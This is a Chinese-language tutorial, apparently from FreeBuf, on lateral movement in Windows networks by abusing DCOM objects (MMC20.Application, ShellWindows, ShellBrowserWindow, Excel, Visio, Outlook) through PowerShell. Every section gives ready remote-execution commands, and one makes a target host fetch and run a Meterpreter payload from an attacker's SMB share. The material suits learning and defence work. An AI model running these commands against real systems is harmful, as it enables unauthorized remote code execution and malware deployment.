0x00前言
本文對如何利用 DCOM 進行橫向移動的手法進行了總結,希望可以對大家的學習提供一些幫助。
0x01概述
1. COM
COM(Component Object Model,組件對象模型)是微軟的一套軟件組件的二進制接口標準,使得跨編程語言的進程間通信、動態對象創建成功可能。COM是許多微軟產品和技術的基礎。
COM 由一組構造規范和組件對象庫組成。COM 組件對象通過接口來描述自身,組件提供的所有服務都通過其接口公開。接口實質上是一組函數指針表,每個指針必須初始化指向某個具體的函數體,一個組件對象實現的接口數量沒有限制。COM 指定了一個對象模型和編程要求,使 COM 對象能夠與其他對象交互。這些對象可以在單個進程中,也可以在其他進程中,甚至可以在遠程計算機上。
在 Windows 中,每個 COM 對象都由唯一的 128 位的二進制標識符,即 GUID。當 GUID 用于標識 COM 對象時,被稱為 CLSID(類標識符);當它用于標識接口時,被稱為 IID(接口標識符)。
2. DCOM
DCOM(Distributed Component Object Model,分布式組件對象模型)是微軟基于組件對象模型(COM)的一系列概念和程序接口,支持不同機器上的組件間的通信。利用 DCOM,客戶端程序對象能夠請求來自網絡中另一臺計算機上的服務器程序對象。
DCOM 是 COM 的擴展,允許應用程序實例化和訪問遠程計算機上的 COM 對象的屬性和方法。DCOM 使用遠程過程調用(RPC)技術將組件對象模型(COM)的功能擴展到本地計算機之外,因此,在遠程系統上托管 COM 服務器端的軟件(通常在 DLL 或 EXE中)可以通過 RPC 向客戶端公開其方法。
0x02通過 DCOM 橫向移動
由于部分 DCOM 組件公開的接口中可能包含不安全的方法,所以我們可以利用這些不安全的方法執行命令或程序。
執行命令,列出計算機所有的 DCOM 程序組件。
Get-CimInstance Win32_DCOMApplication
//Get-CimInstance 這個cmdle(powershell命令行)默認只在powershell 3.0以上版本中存在,所以只有 Windows server 2012 及以上版本的操作系統才可以使用Get-Ciminstance。
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
//Windows 7、Windows Server 2008中默認安裝的是powershell 2.0,所以他們都不支持Get-CimInstance,可以用Get-WmiObject命令代替Get-CimInstance。

hacker 可以枚舉包含不安全方法的其他 DCOM 對象,并與遠程計算機的 DCOM 進行交互,從而實現遠程執行。
注意,需要具備以下條件:
- 擁有管理員權限的 Powershell
- 遠程主機未開啟防火墻
目前,經常利用的 DCOM 組件有 MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow 等。
1. MMC20.Application
MMC20.Application 對象的 Document.ActiveView 下存在一個 ExecuteShellCommand 方法,可以用來啟動子進程并運行執行的程序或系統命令。
# 創建一個“MMC20.Application”對象的實例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
# 枚舉這個COM對象中的不同方法和屬性
$com.Document.ActiveView | Get-Member

下面以 MMC20.Application 組件為例,在遠程主機上執行攻擊載荷,并上線 Meterpreter。
① 在一臺可控的服務器上搭建 SMB 匿名共享服務,并將生成的攻擊載荷放入共享目錄

② 在管理員權限的 Powershell 中執行以下命令,通過 MMC20.Application 在遠程主機(192.168.220.129)上啟動進程,加載 SMB 共享中的攻擊載荷并執行:
# 通過 ProgID 與 DCOM 進行遠程交互,并創建 MMC20.Application 對象的實例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.220.129"))
# 調用 ExecuteShellCommand 方法啟動進程,以運行攻擊載荷
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.220.132\evilsmb\shell.exe","Minimized")

在調用過程中,MMC20.Application 會啟動 mmc.exe 進程,通過 ExecuteShellCommand 方法在 mmc.exe 中創建子進程。


注意:適用于 Windows7 及以上版本的系統
2. ShellWindows
ShellWindows 組件提供了 Document.Application.ShellExecute 方法,可以用來啟動子進程并運行執行的程序或系統命令,適用于 Windows7 及以上版本的系統。
由于 ShellWindows 對象沒有 ProgID,因此需要使用其 CLSID 來創建實例。通過 OleViewDotNet 可以找到 ShellWindows 對象的 CLSID 為 9BA05972-F6A8-11CF-A442-00A0C90A8F39。

在管理員權限為 Powershell 中執行以下命令,即可通過 ShellWindows 在遠程主機(192.168.220.129)上啟動 calc.exe:
# 通過 CLSID 與 DCOM 進行遠程交互,并創建 ShellWindows 對象的實例
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.220.129"))
# 調用 ShellExecute 方法啟動子進程
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)


注意:ShellWindows 并不會創建新進程,而是在已有 explorer.exe 進程中創建并執行子進程。
3. ShellBrowserWindow
ShellBrowserWindow 中也存在一個 Document.Application.shellExecute 方法,與 ShellWindows 一樣,不會創建新進程,而是通過已有的 explorer.exe 來托管子進程。

注意:適用于Windows 10和Windows Server 2012 R2等版本的系統
# 通過 CLSID 與 DCOM 進行遠程交互,并創建 ShellBrowserWindow 對象的實例
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.220.129"))
# 調用 ShellExecute 方法啟動子進程
$com.Document.Application.shellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)


4. Excel.Application
# 通過PowerShell與DCOM進行遠程交互,創建Excel.Application對象的實例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.220.129")) $com.DisplayAlerts = $false
# 然后執行如下命令,我們就可以調用該對象的"DDEInitiate"方法在遠程主機上啟動進程: $com.DDEInitiate("cmd.exe","/c calc.exe")
5. Visio.Application
使用條件:目標系統中安裝有 Visio
# 通過PowerShell與DCOM進行遠程交互,創建Visio.Application對象的實例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.220.129"))
# 然后執行如下命令,我們就可以調用該對象的"shellExecute"方法在遠程主機上啟動進程:
$com.[0].Document.Application.shellExecute("calc.exe")
6. Outlook.Application
使用條件:目標主機中安裝有 Outlook
# 通過PowerShell與DCOM進行遠程交互,創建Visio.Application對象的實例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.220.129"))
# 然后執行如下命令,通過Outlook創建Shell.Application對象并執行命令: $com.createObject("Shell.Application").shellExecute("calc.exe")
0x03總結
本文的分享到這就結束了,如有其它更巧妙的利用方式,歡迎私信交流。
cayman
上官雨寶
Andrew
Anna艷娜
X0_0X
尚思卓越
FreeBuf
Anna艷娜
Andrew
Andrew
Andrew
Andrew